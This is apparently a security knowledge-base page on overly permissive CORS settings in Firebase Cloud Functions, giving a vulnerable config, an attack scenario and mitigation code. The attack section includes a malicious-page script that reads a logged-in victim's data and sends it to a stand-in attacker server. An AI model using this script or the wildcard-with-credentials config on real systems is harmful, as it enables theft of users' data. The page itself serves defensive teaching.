Firebase Functions: CORS Misconfiguration¶
Name: CORS Misconfiguration in Firebase Functions
Applicable Services: Cloud Functions for Firebase
Description¶
Critical Cross-Origin Security Risk
The Configuration Flaw: Firebase Cloud Functions are configured with overly permissive CORS (Cross-Origin Resource Sharing) policies that allow requests from unauthorized origins.
Intended Behavior: CORS policies should restrict cross-origin requests to only trusted domains and implement proper security controls.
The Risk: Permissive CORS configurations enable cross-site request forgery (CSRF) attacks, unauthorized API access, and data exfiltration from malicious websites.
Impact¶
Severe Web Security Consequences
CORS misconfigurations create multiple attack vectors:
- Cross-Site Request Forgery: Malicious sites can make unauthorized requests on behalf of users
- Data Exfiltration: Sensitive API responses can be accessed from untrusted origins
- Unauthorized API Access: External websites can bypass intended access controls
- User Account Compromise: Attackers can perform actions using victim's authentication
- Business Logic Bypass: Malicious sites can circumvent intended application workflows
Example Attack Scenarios¶
Exploit Scenario: Cross-Site API Exploitation
The Vulnerable Configuration:
// VULNERABLE: Overly permissive CORS policy
const functions = require('firebase-functions');
const cors = require('cors');
// Allows ALL origins - DANGEROUS
const corsOptions = {
origin: '*', // Allows any website to make requests
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE']
};
exports.getUserData = functions.https.onRequest(cors(corsOptions), (req, res) => {
// Sensitive function accessible from any website
const userId = req.query.userId;
// ... fetch and return user data
res.json({ userData: sensitiveUserData });
});
Attack Execution: A malicious website hosts this code to exploit the vulnerable CORS policy:
<!-- Malicious website: evil-site.com -->
<script>
// Exploit permissive CORS to steal user data
fetch('https://us-central1-victim-app.cloudfunctions.net/getUserData?userId=target-user-id', {
method: 'GET',
credentials: 'include', // Include victim's cookies/auth
headers: {
'Content-Type': 'application/json'
}
})
.then(response => response.json())
.then(data => {
// Exfiltrate stolen data to attacker's server
fetch('https://attacker-server.com/stolen-data', {
method: 'POST',
body: JSON.stringify({
victim: 'target-user-id',
stolenData: data,
timestamp: new Date().toISOString()
})
});
});
</script>
Outcome: When a logged-in user visits the malicious website, their browser automatically includes their authentication cookies, allowing the attacker to access their sensitive data.
Mitigation¶
Secure CORS Configuration¶
// VULNERABLE: Wildcard origin allows any website
const corsOptions = {
origin: '*', // DANGEROUS - allows all origins
credentials: true
};
exports.sensitiveAPI = functions.https.onRequest(cors(corsOptions), (req, res) => {
// Function accessible from any website
res.json({ data: 'sensitive information' });
});
// SECURE: Restrict to specific trusted origins
const corsOptions = {
origin: [
'https://your-app.com',
'https://admin.your-app.com',
'https://your-staging-app.com'
],
credentials: true,
methods: ['GET', 'POST'],
allowedHeaders: ['Content-Type', 'Authorization']
};
exports.sensitiveAPI = functions.https.onRequest(cors(corsOptions), (req, res) => {
// Additional origin validation
const origin = req.get('Origin');
if (!isValidOrigin(origin)) {
return res.status(403).json({ error: 'Forbidden origin' });
}
// CSRF protection
if (!validateCSRFToken(req)) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
res.json({ data: 'protected information' });
});
function isValidOrigin(origin) {
const allowedOrigins = [
'https://your-app.com',
'https://admin.your-app.com'
];
return allowedOrigins.includes(origin);
}
Dynamic Origin Validation¶
// Implement dynamic origin validation based on user context
const corsOptionsDelegate = (req, callback) => {
let corsOptions;
const origin = req.header('Origin');
const userAgent = req.header('User-Agent');
// Validate origin against trusted domains
if (isValidOrigin(origin)) {
corsOptions = {
origin: true,
credentials: true
};
} else {
corsOptions = {
origin: false // Disable CORS for untrusted origins
};
}
callback(null, corsOptions);
};
exports.dynamicCORS = functions.https.onRequest(cors(corsOptionsDelegate), (req, res) => {
// Function with dynamic CORS validation
res.json({ message: 'Secure response' });
});
function isValidOrigin(origin) {
if (!origin) return false;
try {
const url = new URL(origin);
const trustedDomains = [
'your-app.com',
'admin.your-app.com',
'staging.your-app.com'
];
// Check if hostname matches trusted domains
return trustedDomains.some(domain =>
url.hostname === domain || url.hostname.endsWith('.' + domain)
);
} catch (error) {
return false;
}
}
CSRF Protection Implementation¶
// Implement CSRF protection for sensitive operations
const crypto = require('crypto');
function generateCSRFToken(userId) {
const timestamp = Date.now();
const secret = process.env.CSRF_SECRET || 'your-secret-key';
const token = crypto
.createHmac('sha256', secret)
.update(`${userId}:${timestamp}`)
.digest('hex');
return `${timestamp}:${token}`;
}
function validateCSRFToken(req) {
const token = req.headers['x-csrf-token'] || req.body.csrfToken;
const userId = req.user?.uid;
if (!token || !userId) {
return false;
}
try {
const [timestamp, hash] = token.split(':');
const now = Date.now();
// Check if token is not older than 1 hour
if (now - parseInt(timestamp) > 3600000) {
return false;
}
const expectedToken = crypto
.createHmac('sha256', process.env.CSRF_SECRET)
.update(`${userId}:${timestamp}`)
.digest('hex');
return hash === expectedToken;
} catch (error) {
return false;
}
}
// Secure function with CSRF protection
exports.secureAction = functions.https.onRequest(cors(corsOptions), async (req, res) => {
// Verify authentication
if (!req.user) {
return res.status(401).json({ error: 'Authentication required' });
}
// Validate CSRF token for state-changing operations
if (req.method !== 'GET' && !validateCSRFToken(req)) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
// Proceed with secure operation
res.json({ success: true });
});